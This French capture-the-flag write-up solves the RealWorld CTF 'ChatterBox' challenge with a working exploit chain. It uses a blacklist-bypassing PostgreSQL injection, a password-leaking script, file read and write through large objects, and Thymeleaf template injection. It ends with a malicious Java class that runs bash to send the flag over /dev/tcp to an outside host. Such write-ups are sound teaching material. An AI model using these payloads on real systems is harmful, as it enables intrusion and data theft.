ChatterBox | RealWorld CTF 6th
Fichiers:
Description:
I wanna inject sth in my Box what should i do?
nc <ip> 9999
Solution détaillée:
Voici les fichiers fournis par l’auteur:
$ tree .
.
├── ChatterBox-0.0.1-SNAPSHOT.jar
├── docker-compose.yml
├── Dockerfile
├── flag
├── init.sql
├── readflag
└── start.sh
En regardant rapidement le Dockerfile, on comprend que le flag est copié dans /flag
et que le binaire /readflag
va nous permettre de le lire.
Un serveur web est unfichier jar
et nous allons devoir l’exploiter pour avoir une execution de commande sur le serveur.
On va utiliser jadx pour décompiler le fichier et récuperer le code source.
On a dans com/chatterbox
l’application web, la class ChatterBoxApplication
nous informe que c’est une application Spring:
On peut lancer l’application en local et accéder au l’application en http://127.0.0.1:8080
:
docker-compose up --build
Nous faisons face à un portail de connexion.
D’aprés le fichier init.sql
, il n’existe qu’un seul utilisateur admin:
-- ----------------------------
-- Records of message_users
-- ----------------------------
BEGIN;
INSERT INTO "public"."message_users" VALUES (1, 'admin', 'xxxxxxx');
COMMIT;
En continuant de fouiller dans jdax, on trouve 3 controllers pour l’application spring:
- LoginController
- MessageBoardController
- NotifyController
Première vulnérabilité: Injection SQL
Les deux derniers controllers nécessitent d’être authentifié, nous allons donc nous focaliser sur la partie de connexion:
Le controller implémente une seule route en /login
qui prend en paramètre username et passwd
Voici le code simplifié:
public String doLogin(HttpServletRequest request, Model model, HttpSession session) throws Exception {
String username = request.getParameter(DruidDataSourceFactory.PROP_USERNAME);
String password = request.getParameter("passwd");
if (username != null && password != null) {
if (!SQLCheck.checkBlackList(username) || !SQLCheck.checkBlackList(password)) {
model.addAttribute(BindTag.STATUS_VARIABLE_NAME, 500);
model.addAttribute(JsonEncoder.MESSAGE_ATTR_NAME, "Ban!");
return "error";
}
String sql = "SELECT id,passwd FROM message_users WHERE username = '" + username + "'";
if (SQLCheck.check(sql)) {
// Do sql query
// ...
// Check if password returned is equal to the one provided.
// ...
}
}
}
Bypass des filtres
On remarque immédiatement une injection SQL dans le paramètre username
. Pourtant, plusieurs checks sont effectués avant d’executer la requète et ce sont eux que nous allons devoir contourner.
Le premier est celui-ci:
if (!SQLCheck.checkBlackList(username) || !SQLCheck.checkBlackList(password)) {
model.addAttribute(BindTag.STATUS_VARIABLE_NAME, 500);
model.addAttribute(JsonEncoder.MESSAGE_ATTR_NAME, "Ban!");
return "error";
}
public static boolean checkBlackList(String sql) {
String sql2 = sql.toUpperCase();
for (String temp : getBlackList().stream()) {
if (sql2.contains(temp)) {
return false;
}
}
return true;
}
Le serveur vérifie que les paramètres de connections (en majuscule) ne comprennent pas un des mots suivants:
[
"SELECT","UNION","INSERT","ALTER","SLEEP","DELETE","--",";"","#","&","/*",
"OR","EXEC","CREATE","AND","DROP","DO","COPY","SET","VACUUM","SHOW","CURSOR",
"TRUNCATE","CAST","BEGIN","PERFORM","END","CASE","WHEN","ALL","TABLE","UPDATE",
"TRIGGER","FUNCTION","PROCEDURE","DECLARE","RETURNING","TABLESPACE","VIEW",
"SEQUENCE","INDEX","LOCK","GRANT","REVOKE","SAVEPOINT","ROLLBACK","IMPORT",
"COMMIT","PREPARE","EXECUTE","EXPLAIN","ANALYZE","DATABASE","PASSWORD","CONNECT",
"DISCONNECT","PG_SLEEP","MERGE","USING","LIMIT","OFFSET","RETURN","ESCAPE","LIKE",
"ILIKE","RLIKE","EXISTS","BETWEEN","IS","NULL","NOT","GROUP","BY","HAVING","ORDER",
"WINDOW","PARTITION","OVER","FOREIGN KEY","REFERENCE","RAISE","LISTEN","NOTIFY",
"LOAD","SECURITY","OWNER","RULE","CLUSTER","COMMENT","CONVERT","COPY","CHECKPOINT",
"REINDEX","RESET","LANGUAGE","PLPGSQL","PLPYTHON","SECDEF","NOCREATEDB",
"NOCREATEROLE","NOINHERIT","NOREPLICATION","BYPASSRLS","FILE","PG_","IMPORT","EXPORT"
]
Cette vérification nous empêche les injections classique du type: ' OR 1=1 --
.
De plus, la 2nd vérification appele la méthode check
de la class SQLCheck
:
public static boolean check(String sql) {
return checkValid(sql.toUpperCase());
}
qui elle même appele checkValid:
public static boolean filter(String sql) {
if (StringUtil.matches(sql, "^[a-zA-Z0-9_]*$") || sql.contains(" USER_DEFINE ")) {
return true;
}
if (sql.startsWith("SELECT") && sql.contains("VIEW")) {
return true;
}
for (String whitePrefix : getWhitePrefix().stream()) {
if (sql.startsWith(whitePrefix)) {
return true;
}
}
return false;
}
private static boolean checkValid(String sql) {
try {
return SQLParser.parse(sql);
} catch (SQLException e) {
try {
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL);
if (sqlStatements != null && sqlStatements.size() > 1) {
return false;
}
for (SQLStatement statement : sqlStatements.stream()) {
if (statement instanceof PGSelectStatement) {
SQLSelect sqlSelect = ((SQLSelectStatement) statement).getSelect();
SQLSelectQuery sqlSelectQuery = sqlSelect.getQuery();
if (sqlSelectQuery instanceof SQLUnionQuery) {
return false;
}
SQLSelectQueryBlock sqlSelectQueryBlock = (SQLSelectQueryBlock) sqlSelectQuery;
if (!filtetFields(sqlSelectQueryBlock.getSelectList()) || !filterTableName((SQLExprTableSource) sqlSelectQueryBlock.getFrom()).booleanValue()) {
return false;
}
if (!filterWhere(sqlSelectQueryBlock.getWhere())) {
return false;
}
return true;
}
}
return false;
} catch (Exception e2) {
if (filter(sql)) {
return true;
}
throw new SQLException("SQL Parsing Exception~");
}
}
}
Nous allons donc chercher à exfiltrer le mot de passe administrateur via la SQLI en abusant du fonctionnement de la fonction checkValid
La première chose qu’il faut remarquer et que la fonction filter est assez peu strict et que si la requète contient USER_DEFINE
et SELECT
, la requète sera considérée comme sûr !
Pour atteindre l’appel à cette fonction filter, nous devons d’abord faire crasher deux blocs de code afin d’atteindre deux fois les catch.
Le premier catch à déclencher est celui ci:
try {
return SQLParser.parse(sql);
} catch (SQLException e) {
// Do some juicy code
}
Le seconde catch à déclencher:
try {
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL);
if (sqlStatements != null && sqlStatements.size() > 1) {
return false;
}
for (SQLStatement statement : sqlStatements.stream()) {
if (statement instanceof PGSelectStatement) {
SQLSelect sqlSelect = ((SQLSelectStatement) statement).getSelect();
SQLSelectQuery sqlSelectQuery = sqlSelect.getQuery();
if (sqlSelectQuery instanceof SQLUnionQuery) {
return false;
}
SQLSelectQueryBlock sqlSelectQueryBlock = (SQLSelectQueryBlock) sqlSelectQuery;
if (!filtetFields(sqlSelectQueryBlock.getSelectList()) || !filterTableName((SQLExprTableSource) sqlSelectQueryBlock.getFrom()).booleanValue()) {
return false;
}
if (!filterWhere(sqlSelectQueryBlock.getWhere())) {
return false;
}
return true;
}
}
return false;
} catch (Exception e2) {
// do some juicy code
}
On peut trigger les exceptions en faisant passer une requète sql invalide dans sql
.
En revanche, la query SQL finale doit pourtant être valide puisqu’elle va être executé par Postgresql par la suite.
Nous devons donc nous attarder sur le détail suivant:
public static boolean check(String sql) {
return checkValid(sql.toUpperCase());
}
La requète SQL qui est testée est en majuscule alors que celle executée restera en minuscule.
Nous devons donc trouver une manière de forger une requète SQL invalide uniquement quand elle est mise en majuscule. (sql.toUpperCase())
D’aprés 4.1.2.2, on peut lire ceci:
PostgreSQL provides another way, called "dollar quoting", to write string constants.
Example:
- $SomeTag$Dianne's horse$SomeTag$
- $$Dianne's horse$$
PostgreSQL nous montre qu’il est possible de créer des constantes grâce à des $, un peu comme des balises en HTML. Voici un exemple:
postgres=# SELECT ($a$ Hello $a$);
postgres
?column?
----------
Hello
(1 row)
En reprenant le même principe, on peut forger la forger ceci:
$u$foo$U$ USER_DEFINE $U$bar$u$
Du point de vue de la requète en minuscule, on aura la chaine de caractère "foo$U$ USER_DEFINE username=$U$bar"
.
Avec la requète en majuscule, on aura la query sql avec: $U$F00$U$ USER_DEFINE $U$BAR$U$
ce qui sera rendu en :
"FOO" USER_DEFINE "BAR"
, ce qui n’est valide pour la syntaxe SQL.
Finalement, on peut ajouter un SUBSTR(...,0,0)
pour ne pas prendre en compte la chaine de caractères "foo$U$ USER_DEFINE username=$U$bar"
Ainsi, en envoyer l’username suivant:
'||substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)||'
On forge la requète suivante:
SELECT id,passwd FROM message_users WHERE username = ''||substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)||'';
On peut maintenant ajouter ce que l’on veut à droite de la requète pour exfiltrer le mot de passe.
(Nous sommes toujours contraint de respecter le filtre par mots clés)
Exfiltration du mot de passe
La méthode trouvé a été d’ajouter le sufffix ::json
au mot passe afin de faire un cast du mot de passe de l’administrateur en json. Le cast va provoquer une erreur qui sera renvoyé et le mot de passe sera affiché dans la stacktrace:
'||substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)||passwd::json||'
Enfin, le mot de passe étant plus long que 7 caractères, l’utilisation de python a permit de scripter l’exfiltration de bloc de 7 lettres via substr
.
import requests
import re
class client:
def __init__(self, url):
self.url = url
self.s = requests.session()
self.bypass = 'substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)'
def leak_admin_password(self, max_len=50):
def leak_char(position = 1):
username = f"'||{self.bypass}||SUBSTR(passwd,{position},7)::json||'"
html = self.s.post(f'{self.url}/login',data={"username": username,"passwd": "x"}).text
letter = re.findall(r"Detail: Token "(.*?)" is invalid", html)
if letter and letter != ['']:
return letter[0][0]
return "?"
password = ''
for i in range(max_len):
password += leak_char(position=len(password)+1)
return password.strip('?')
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
print(admin_passwd)
# WeakPassdcf03cde-bc56-11ee-9acc-0242ac110017!!
Seconde vulnérabilité: Lecture et Ecriture de fichier arbitraire
Une fois connecté, on se retrouve fasse à un formulaire pour poster des messages:
Dans le controller MessageBoardController, on retrouver le code suivant:
public String postMessage(@RequestParam String content, HttpSession session, Model model) {
Integer userId = (Integer) session.getAttribute("userId");
if (userId != null && userId.intValue() == 1) {
String var10000 = userId.toString();
String sql = "INSERT INTO messages (user_id, content) VALUES (" + var10000 + ", '" + content + "')";
if (!SQLCheck.checkBlackList(content)) {
model.addAttribute(BindTag.STATUS_VARIABLE_NAME, 500);
model.addAttribute(JsonEncoder.MESSAGE_ATTR_NAME, "Hacker!");
return "error";
} else if (SQLCheck.check(sql)) {
this.jdbcTemplate.update(sql);
return "redirect:/";
} else {
return "redirect:/";
}
}
return "redirect:/";
}
Une seconde injection SQL dans le INSERT permet d’ajouter ce que l’on veut dans la base de donnée.
De la même manière que la première sqli, nous pouvons utiliser les $
pour échapper le filtre.
Afin de contourner le filtre sur les mots clés, nous pouvons combiner l’utilisation de la fonction query_to_xml
ainsi que les fonctions d’encodage/décodage d’hexadécimal de postgresql.
On peut convertir une query SELECT '1'
en hexadecimal: 53454c45435420273127
et la faire executer comme ceci:
query_to_xml(encode(decode('53454c45435420273127','hex'),'es'||'cape'),true,true,'')
Ce qui donne:
'||substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)|| (query_to_xml(encode(decode('53454c45435420273127', 'hex'),'esc'||'ape'),true,true,'')) ||'
De cette manière, on peut mettre à jour notre script pour executer n’importe quelle requète SELECT dans le INSERT:
from binascii import hexlify
blacklist = ["SELECT","UNION","WHERE","INSERT","ALTER","SLEEP","DELETE","OR","EXEC","CREATE","AND","DROP","DO","COPY","SET","VACUUM","SHOW","CURSOR","TRUNCATE","CAST","BEGIN","PERFORM","END","CASE","WHEN","ALL","TABLE","UPDATE","TRIGGER","FUNCTION","PROCEDURE","DECLARE","RETURNING","TABLESPACE","VIEW","SEQUENCE","INDEX","LOCK","GRANT","REVOKE","SAVEPOINT","ROLLBACK","IMPORT","COMMIT","PREPARE","EXECUTE","EXPLAIN","ANALYZE","DATABASE","PASSWORD","CONNECT","DISCONNECT","PG_SLEEP","MERGE","USING","LIMIT","OFFSET","RETURN","ESCAPE","LIKE","ILIKE","RLIKE","EXISTS","BETWEEN","IS","NOT","GROUP","BY","HAVING","ORDER","WINDOW","PARTITION","OVER","FOREIGN", "KEY","REFERENCE","RAISE","LISTEN","NOTIFY","LOAD","SECURITY","OWNER","RULE","CLUSTER","COMMENT","CONVERT","COPY","CHECKPOINT","REINDEX","RESET","LANGUAGE","PLPGSQL","PLPYTHON","SECDEF","NOCREATEDB","NOCREATEROLE","NOINHERIT","NOREPLICATION","BYPASSRLS","FILE","PG_","IMPORT","EXPORT"]
def escape(query):
query = query.lower()
for word in blacklist:
word = word.lower()
query = query.replace(word, word[:len(word)//2]+"'||'"+word[len(word)//2:])
return query
class client:
def __init__(self, url):
...
def login(self, username, password):
self.s.post(f'{self.url}/login', data={'username': username, 'passwd': password})
def post_message(self, content):
self.s.post(f'{self.url}/post_message', data={'content': content}).text
def sqli(self, query):
query = escape(f'''
encode(decode('{hexlify(query.encode()).decode()}', 'hex'),'escape')
'''.strip())
self.post_message(content=f'''
'||{self.bypass}|| (query_to_xml({query},true,true,'')) ||'
'''.strip())
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
c.sqli(query="SELECT '1'")
File read
On peut utiliser la fonction pg_read_file
pour lire des fichiers du serveur:
class client:
def __init__(self, url):
...
def file_read(self, path):
self.sqli(query=f"SELECT pg_read_file('{path}', 0, 200)")
...
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
c.file_read(path='/etc/passwd')
Malheuresement, le DockerFile spécifie cette ligne: RUN chmod 000 /flag
qui empêche ici le serveur SQL de lire le contenu du flag.
File write
Toujours avec query_to_xml, on peut utiliser les fonctions:
- lo_from_bytea
- lo_export pour ecrire ce que l’on veut, ou l’on veut:
from random import randint
class client:
def __init__(self, url):
...
def file_write(self, data, path):
id_ = 43210+randint(1,99999)
query = f'''
encode(decode('{hexlify(data.encode()).decode()}', 'hex'),'escape')
'''.strip()
cmd = [
f"SELECT lo_from_bytea({id_}, decode('{data.encode().hex()}', 'hex'))",
f"SELECT lo_export({id_}, '{path}')"
]
for c in cmd:
self.sqli(query=c)
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
c.file_write(
data='Hello World',
path=f"/tmp/poc.txt"
)
Résultat:
root@e372113213c7:/# ls /tmp
hsperfdata_root poc.txt tomcat-docbase.8080.4797479350720433534 tomcat.8080.4797479350720433534
root@e372113213c7:/# cat /tmp/poc.txt
Hello World
root@e372113213c7:/#
Troisième vulnérabilité: Injection de template
Un dernier controller n’a pas encore été exploité: NotifyController
.
Celui-ci implémente une seule route en GET: /notify
private String templatePrefix = "file:///non_exists/";
private String templateSuffix = ".html";
@GetMapping({"/notify"})
public String notify(@RequestParam String fname, HttpSession session) throws IOException {
InputStream inputStream;
Integer userId = (Integer) session.getAttribute("userId");
if (userId != null && userId.intValue() == 1) {
if (!fname.contains("../") && (inputStream = this.applicationContext.getResource(this.templatePrefix + fname + this.templateSuffix).getInputStream()) != null && safeCheck(inputStream)) {
String result = getTemplateEngine().process(fname, new Context());
return result;
}
return "error";
}
return "redirect:login";
}
Il prend un paramètre fname
et essaye de render le fichier /non_exists/<fname>.html
avec le template engine thymeleaf
Une fonction safeCheck
vérifie que la template, si elle existe, ne contienne pas <
, >
, org.apache
ou encore org.spring
. Cette fonction nous indique clairement qu’il existe une injection de template dans le code et qu’il faut l’exploiter pour arriver à l’execution de commande finale.
1er Bypass: /non_exists/
Le serveur va aller chercher une template dans un dossier non_exists à la racine de la machine. Ce dossier n’existant pas, la lecture du fichier mènera à un crash de la requète si nous ne trouvons pas un moyen de rediriger le path.
En remontant avec ../
, une erreur se produit aussi:
root@e372113213c7:/# cat /non_exists/../etc/passwd
cat: /non_exists/../etc/passwd: No such file or directory
ou dans les logs docker:
java.io.FileNotFoundException: /non_exists/../etc/passwd.html (No such file or directory)
Aprés un long moment de test et de fuzzing, il se trouve que le \
(%5C) permet de bypass ce dossier erroné.
Ainsi, en envoyant fname=..%5cetc/passwd
, le serveur tentera de charger /etc/passwd.html
comme template.
2nd Bypass: .html
On peut bypass l’ajout du suffix .html en ajoutant à la fin du fichier un ?
(%3F).
Finalement, on peut tester de charger /etc/passwd comme template avec le fname suivant:
..%5cetc/passwd%3F
class client:
def __init__(self, url):
...
def notify(self, payload):
r = self.s.get(f'{self.url}/notify?fname={payload}').text
return r
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
r = c.notify(payload='..%5cetc/passwd%3F')
print(r)
En executant le code précédent, voici la réponse obtenue:
{"timestamp":"2024-01-29T17:19:07.325+00:00","status":500,"error":"Internal Server Error","path":"/notify"}
Si on regarde attentivement les logs docker, on obtient:
Error resolving template [ <contenu de /etc/passwd> ], template might not exist or might not be accessible by any of the configured Template Resolvers] with root cause
Aprés quelques recherches, on se rend compte que thymeleaf va ouvrir le contenu du fichier fourni et va essayer de trouver une template correspondante.
Le souci ici est que les templates connues par thymeleaf sont directement incluses dans le .jar et qu’il n’est pas possible d’en rajouter simplement.
Heuresement pour nous, en cherchant dans le code de thymeleaf, ici précisement, on se rend compte que le nom de la template qu’il va rechercher est d’abord rendu par le moteur de template !
La condition pour le nom de la template soit évaluer est qu’il contienne ::
On peut donc utiliser l’injection SQL pour écrire un fichier contenant une SSTI et faire pointer thymeleaf vers ce fichier afin que le contenu soit évaluer !
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
c.file_write(
data='__${7*7}__::.x',
path=f"/tmp/rce"
)
c.notify(payload='..%5ctmp/rce%3F')
On obtient bien dans les logs docker:
Error resolving template [49], template might not exist or might not be accessible by any of the configured Template Resolvers
SSTI to RCE
Maintenant que nous avons notre injection de template, nous devons trouver un moyen d’éxécuter du code.
Beaucoup de choses ont été testées, comme par exemple l’utilisation de T(java.lang.Runtime).getRuntime()
ou encore la librairie vulnérable SnakeYaml
. Aucune de ces tentatives n’a fonctionné…
Finalement, nous avons utilisé strace
pour regarder les appels système fait pas le serveur WEB:
sudo apt install strace
sudo strace -fie file -p $(pidof -s java)
Le serveur tenté de charger des class depuis un dossier de /tmp: /tmp/tomcat-docbase.8080.4797479350720433534/WEB-INF/classes/
:
[pid 80] [00007fb0552b43a6] stat("/tmp/tomcat-docbase.8080.4797479350720433534/WEB-INF/classes", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
L’idée est la suivante:
- Ecrire une class malveillante dans /tmp/Tfns.class
- Utiliser la SQLI pour trouver le dossier tomcat
- Créer un dossier /tmp/tomcat-docbase.8080.4797479350720433534/WEB-INF/classes/
- Copier /tmp/Tfns.class dans le dossier créer
- Charger la class
On peut récuperer le nom du dossier sur le serveur de la manière suivante:
class client:
def __init__(self, url):
...
def file_list(self, path):
self.sqli(query=f"SELECT pg_ls_dir('{path}')")
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
c.file_list('./../../../../../tmp')
Bypass de la fonction safeCheck
La fonction safeCheck nous empêche d’avoir un payload contenant:
- “org.spring”
- “org.apache”
- “<”
- “>”
Pour récuperer des class provenant de “org.apache” ou “org.spring”, nous pouvons utiliser cette technique:
''.getClass().forName("org."+"apache.catalina.startup.ExpandWar")
Création du répertoire
La class FileUtils de “org.apache.tomcat.util.http.fileupload a était utilisé avec la méthode: forceMkdir
Copy du fichier
La class ExpandWar de “org.apache.catalina.startup.ExpandWar avec la méthode copy
à permit de déplacer le fichier
Chargement de la class et RCE
Enfin la méthode loadClass de “ch.qos.logback.core.util.Loader” a permis de charger la class malveillante et de RCE !
(Note: C’est Tomcat qui a créé le dossier, c’est pour cela qu’une copie du fichier malveillant par le serveur web était nécessaire au lieu de directement l’écrire au bon endroit)
Voici la class malveillante:
- tfns.java
import java.io.IOException;
class Tfns
{
public static void pwn() {
try {
String[] cmd = {"/bin/bash", "-c", "/readflag > /dev/tcp/<ip>/3333"};
Runtime.getRuntime().exec(cmd);
} catch(IOException e) {
}
}
}
javac tfns.java
cat tfns.class| base64
et :
c = client(url = 'http://<ip>:8080')
admin_passwd = c.leak_admin_password()
c.login('admin', admin_passwd)
payload_class = '''
yv66vgAAAD0AIwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW
BwAIAQAQamF2YS9sYW5nL1N0cmluZwgACgEACS9iaW4vYmFzaAgADAEAAi1jCAAOAQAoL3JlYWRm
bGFnID4gL2Rldi90Y3AvMTc2LjE0My4xMDIuNDcvMzMzMwoAEAARBwASDAATABQBABFqYXZhL2xh
bmcvUnVudGltZQEACmdld [REDACTED] QAAMACQAfAAYAAQAdAAAAXgAE
AAEAAAAhBr0AB1kDEglTWQQSC1NZBRINU0u4AA8qtgAVV6cABEuxAAEAAAAcAB8AGQACAB4AAAAW
AAUAAAAHABQACAAcAAoAHwAJACAACwAgAAAABwACXwcAGQAAAQAhAAAAAgAi
'''.strip().replace('\n','')
c.file_write(
data=payload_class,
path=f"/tmp/Tfns.class"
)
all_payloads = [
'''
''.getClass().forName("org."+"apache.tomcat.util.http.fileupload.FileUtils").forceMkdir(
"/tmp/tomcat-docbase.8080.4797479350720433534/WEB-INF/classes/"
)
'''.strip(),
'''
''.getClass().forName("org."+"apache.catalina.startup.ExpandWar").copy(
"/tmp/Tfns.class","/tmp/tomcat-docbase.8080.4797479350720433534/WEB-INF/classes/Tfns.class"
)
'''.strip(),
'''
''.getClass().forName("ch.qos.logback.core.util.Loader").loadClass("Tfns").pwn()
'''.strip(),
]
for payload in all_payloads:
c.file_write(
data="__${%s}__::.x"% payload,
path=f"/tmp/rce"
)
c.notify(payload='..%5ctmp/rce%3F')
Et enfin:
$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [<IP>] from (UNKNOWN) [<IP>] 56874
rwctf{b2ed2442-b9e0-11ee-a668-00163e01b905}
Références:
- Veracode - Spring View Manipulation Vulnerability
- Acunetix - Exploiting ssti in thymeleaf
- AeroCTF - Localization is hard
- Hacktricks
- PayloadsAllTheThings - PostgreSQL injection
- Postgresql docs